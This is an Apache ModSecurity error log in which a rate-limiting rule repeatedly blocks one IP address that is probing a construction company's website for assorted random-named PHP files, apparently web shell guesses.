[Wed Apr 08 23:44:44.420790 2026] [:error] [pid 12490:tid 12507] [client 72.146.17.160:39893] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bom30txv.php"] [unique_id "adZ37G1Fea4F4fbumr1OWQAAAM8"]
[Wed Apr 08 23:44:45.840290 2026] [:error] [pid 64066:tid 64084] [client 72.146.17.160:3112] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eufajvpq.php"] [unique_id "adZ37VR3WucJgr2vZGakjAAAAU8"]
[Wed Apr 08 23:44:46.867773 2026] [:error] [pid 12490:tid 12497] [client 72.146.17.160:46724] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eufajvpq.php"] [unique_id "adZ37m1Fea4F4fbumr1OYwAAAMU"]
[Wed Apr 08 23:44:48.459511 2026] [:error] [pid 7047:tid 7063] [client 72.146.17.160:38166] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eufajvpq.php"] [unique_id "adZ38ONh3oGO3pKiCzxXiQAAAY4"]
[Wed Apr 08 23:44:49.109504 2026] [:error] [pid 64066:tid 64089] [client 72.146.17.160:52146] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/eufajvpq.php"] [unique_id "adZ38VR3WucJgr2vZGaktgAAAVQ"]
[Wed Apr 08 23:44:49.674042 2026] [:error] [pid 7047:tid 7054] [client 72.146.17.160:44728] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/isp.php"] [unique_id "adZ38eNh3oGO3pKiCzxXjwAAAYU"]
[Wed Apr 08 23:44:50.401430 2026] [:error] [pid 35642:tid 35644] [client 72.146.17.160:3296] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/isp.php"] [unique_id "adZ38g-CqryxdEs5DN94OAAAAEA"]
[Wed Apr 08 23:44:51.097298 2026] [:error] [pid 35642:tid 35656] [client 72.146.17.160:57719] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/isp.php"] [unique_id "adZ38w-CqryxdEs5DN94OQAAAEw"]
[Wed Apr 08 23:44:51.909110 2026] [:error] [pid 12453:tid 12469] [client 72.146.17.160:53195] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/isp.php"] [unique_id "adZ38xjtW7S6XsLPvrRwhgAAAI4"]
[Wed Apr 08 23:44:52.620618 2026] [:error] [pid 12453:tid 12464] [client 72.146.17.160:48918] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mmk.php"] [unique_id "adZ39BjtW7S6XsLPvrRwigAAAIk"]
[Wed Apr 08 23:44:53.148634 2026] [:error] [pid 12453:tid 12475] [client 72.146.17.160:45020] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mmk.php"] [unique_id "adZ39RjtW7S6XsLPvrRwiwAAAJQ"]
[Wed Apr 08 23:44:55.312269 2026] [:error] [pid 12490:tid 12506] [client 72.146.17.160:3340] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mmk.php"] [unique_id "adZ3921Fea4F4fbumr1ObwAAAM4"]
[Wed Apr 08 23:44:56.325576 2026] [:error] [pid 12453:tid 12476] [client 72.146.17.160:58940] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mmk.php"] [unique_id "adZ3-BjtW7S6XsLPvrRwlwAAAJU"]
[Wed Apr 08 23:44:57.181690 2026] [:error] [pid 64066:tid 64069] [client 72.146.17.160:3443] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tor.php"] [unique_id "adZ3-VR3WucJgr2vZGak-gAAAUA"]
[Wed Apr 08 23:44:57.984918 2026] [:error] [pid 7189:tid 7203] [client 72.146.17.160:43833] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tor.php"] [unique_id "adZ3-RaBqhBSu0L37loBxgAAAcw"]
[Wed Apr 08 23:44:58.619836 2026] [:error] [pid 12385:tid 12405] [client 72.146.17.160:3454] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tor.php"] [unique_id "adZ3-iAjtvRQEkLosq20egAAABA"]
[Wed Apr 08 23:44:59.261628 2026] [:error] [pid 35642:tid 35650] [client 72.146.17.160:61992] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/tor.php"] [unique_id "adZ3-w-CqryxdEs5DN94PQAAAEY"]
[Wed Apr 08 23:45:03.877081 2026] [:error] [pid 12453:tid 12462] [client 72.146.17.160:64785] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "adZ3_xjtW7S6XsLPvrRwrgAAAIc"]
[Wed Apr 08 23:45:04.991294 2026] [:error] [pid 12453:tid 12471] [client 72.146.17.160:60439] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wolv2.php"] [unique_id "adZ4ABjtW7S6XsLPvrRwtQAAAJA"]
[Wed Apr 08 23:45:23.637840 2026] [:error] [pid 12386:tid 12424] [client 72.146.17.160:49263] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/irpyzwaf.php"] [unique_id "adZ4ExLhhLtqHi2gK7UyUwAAAQg"]
[Wed Apr 08 23:45:24.932069 2026] [:error] [pid 64066:tid 64090] [client 72.146.17.160:45063] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/irpyzwaf.php"] [unique_id "adZ4FFR3WucJgr2vZGal1QAAAVU"]
[Wed Apr 08 23:45:26.474690 2026] [:error] [pid 12490:tid 12505] [client 72.146.17.160:3897] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/irpyzwaf.php"] [unique_id "adZ4Fm1Fea4F4fbumr1PJgAAAM0"]
[Wed Apr 08 23:45:27.229877 2026] [:error] [pid 35642:tid 35664] [client 72.146.17.160:60281] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/irpyzwaf.php"] [unique_id "adZ4Fw-CqryxdEs5DN94SwAAAFQ"]
[Wed Apr 08 23:45:27.928465 2026] [:error] [pid 64066:tid 64077] [client 72.146.17.160:45081] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pdkebrby.php"] [unique_id "adZ4F1R3WucJgr2vZGal3gAAAUg"]
[Wed Apr 08 23:45:28.642505 2026] [:error] [pid 12490:tid 12492] [client 72.146.17.160:60203] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pdkebrby.php"] [unique_id "adZ4GG1Fea4F4fbumr1PQgAAAMA"]
[Wed Apr 08 23:45:29.405170 2026] [:error] [pid 12385:tid 12394] [client 72.146.17.160:62952] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pdkebrby.php"] [unique_id "adZ4GSAjtvRQEkLosq20hgAAAAU"]
[Wed Apr 08 23:45:30.218940 2026] [:error] [pid 35642:tid 35656] [client 72.146.17.160:33971] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/pdkebrby.php"] [unique_id "adZ4Gg-CqryxdEs5DN94UAAAAEw"]
[Wed Apr 08 23:45:31.006098 2026] [:error] [pid 64066:tid 64091] [client 72.146.17.160:34606] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adZ4G1R3WucJgr2vZGal5AAAAVY"]
[Wed Apr 08 23:45:31.947569 2026] [:error] [pid 12453:tid 12460] [client 72.146.17.160:54556] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adZ4GxjtW7S6XsLPvrRxEAAAAIU"]
[Wed Apr 08 23:45:33.035639 2026] [:error] [pid 7189:tid 7208] [client 72.146.17.160:3192] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adZ4HRaBqhBSu0L37loB6wAAAdE"]
[Wed Apr 08 23:45:34.617328 2026] [:error] [pid 35642:tid 35657] [client 72.146.17.160:34563] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/dass.php"] [unique_id "adZ4Hg-CqryxdEs5DN94WQAAAE0"]
[Wed Apr 08 23:45:36.175444 2026] [:error] [pid 64066:tid 64077] [client 72.146.17.160:51006] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex%20.php"] [unique_id "adZ4IFR3WucJgr2vZGal9wAAAUg"]
[Wed Apr 08 23:45:36.742809 2026] [:error] [pid 12386:tid 12429] [client 72.146.17.160:43050] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex%20.php"] [unique_id "adZ4IBLhhLtqHi2gK7UyVAAAAQ0"]
[Wed Apr 08 23:45:37.572325 2026] [:error] [pid 64066:tid 64086] [client 72.146.17.160:34575] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex%20.php"] [unique_id "adZ4IVR3WucJgr2vZGamBQAAAVE"]
[Wed Apr 08 23:45:38.423868 2026] [:error] [pid 7047:tid 7065] [client 72.146.17.160:51735] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xex%20.php"] [unique_id "adZ4IuNh3oGO3pKiCzxX8AAAAZA"]
[Wed Apr 08 23:45:39.502044 2026] [:error] [pid 7189:tid 7199] [client 72.146.17.160:3773] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "adZ4IxaBqhBSu0L37loB-wAAAcg"]
[Wed Apr 08 23:45:40.062891 2026] [:error] [pid 7189:tid 7207] [client 72.146.17.160:54534] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "adZ4JBaBqhBSu0L37loB_wAAAdA"]
[Wed Apr 08 23:45:40.831482 2026] [:error] [pid 7189:tid 7191] [client 72.146.17.160:54547] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "adZ4JBaBqhBSu0L37loCBgAAAcA"]
[Wed Apr 08 23:45:41.553859 2026] [:error] [pid 64066:tid 64072] [client 72.146.17.160:53921] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/blox.php"] [unique_id "adZ4JVR3WucJgr2vZGamHQAAAUM"]
[Wed Apr 08 23:45:42.272558 2026] [:error] [pid 12386:tid 12432] [client 72.146.17.160:34569] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "adZ4JhLhhLtqHi2gK7UyZAAAARA"]
[Wed Apr 08 23:45:42.972175 2026] [:error] [pid 64066:tid 64079] [client 72.146.17.160:34562] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "adZ4JlR3WucJgr2vZGamKAAAAUo"]
[Wed Apr 08 23:45:44.278879 2026] [:error] [pid 64066:tid 64071] [client 72.146.17.160:62922] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "adZ4KFR3WucJgr2vZGamLgAAAUI"]
[Wed Apr 08 23:45:45.837535 2026] [:error] [pid 12386:tid 12424] [client 72.146.17.160:50948] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/bkxzo.php"] [unique_id "adZ4KRLhhLtqHi2gK7UyZwAAAQg"]
[Wed Apr 08 23:45:47.417433 2026] [:error] [pid 35642:tid 35656] [client 72.146.17.160:43407] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iko.php"] [unique_id "adZ4Kw-CqryxdEs5DN94ggAAAEw"]
[Wed Apr 08 23:45:48.098137 2026] [:error] [pid 64066:tid 64086] [client 72.146.17.160:43436] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iko.php"] [unique_id "adZ4LFR3WucJgr2vZGamOQAAAVE"]
[Wed Apr 08 23:45:48.945972 2026] [:error] [pid 7047:tid 7068] [client 72.146.17.160:51290] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iko.php"] [unique_id "adZ4LONh3oGO3pKiCzxX_gAAAZM"]
[Wed Apr 08 23:45:49.841440 2026] [:error] [pid 64066:tid 64072] [client 72.146.17.160:62033] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/iko.php"] [unique_id "adZ4LVR3WucJgr2vZGamTQAAAUM"]
[Wed Apr 08 23:45:51.188669 2026] [:error] [pid 12453:tid 12469] [client 72.146.17.160:34621] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "adZ4LxjtW7S6XsLPvrRxNwAAAI4"]
[Wed Apr 08 23:45:52.153116 2026] [:error] [pid 7047:tid 7058] [client 72.146.17.160:52047] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "adZ4MONh3oGO3pKiCzxX_wAAAYk"]
[Wed Apr 08 23:45:54.509748 2026] [:error] [pid 7189:tid 7205] [client 72.146.17.160:52034] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "adZ4MhaBqhBSu0L37loCFAAAAc4"]
[Wed Apr 08 23:45:55.419442 2026] [:error] [pid 35642:tid 35666] [client 72.146.17.160:3665] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/miso.php"] [unique_id "adZ4Mw-CqryxdEs5DN94hgAAAFY"]
[Wed Apr 08 23:45:56.182637 2026] [:error] [pid 12453:tid 12476] [client 72.146.17.160:62041] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "adZ4NBjtW7S6XsLPvrRxPAAAAJU"]
[Wed Apr 08 23:45:57.201595 2026] [:error] [pid 64066:tid 64085] [client 72.146.17.160:47483] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "adZ4NVR3WucJgr2vZGamrAAAAVA"]
[Wed Apr 08 23:45:57.980709 2026] [:error] [pid 7047:tid 7052] [client 72.146.17.160:51276] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "adZ4NeNh3oGO3pKiCzxYDAAAAYM"]
[Wed Apr 08 23:45:59.654860 2026] [:error] [pid 12490:tid 12511] [client 72.146.17.160:62046] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/rzki.php"] [unique_id "adZ4N21Fea4F4fbumr1PrAAAANM"]
[Wed Apr 08 23:46:00.294115 2026] [:error] [pid 7189:tid 7191] [client 72.146.17.160:42194] [client 72.146.17.160] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sad821.php"] [unique_id "adZ4OBaBqhBSu0L37loCIgAAAcA"]
